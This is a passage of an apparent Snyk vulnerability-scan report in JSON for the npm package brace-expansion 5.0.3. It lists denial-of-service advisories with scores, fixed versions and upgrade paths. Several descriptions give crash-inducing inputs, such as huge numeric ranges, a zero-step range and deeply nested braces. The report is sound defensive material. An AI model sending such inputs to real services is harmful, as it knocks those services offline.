"cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can 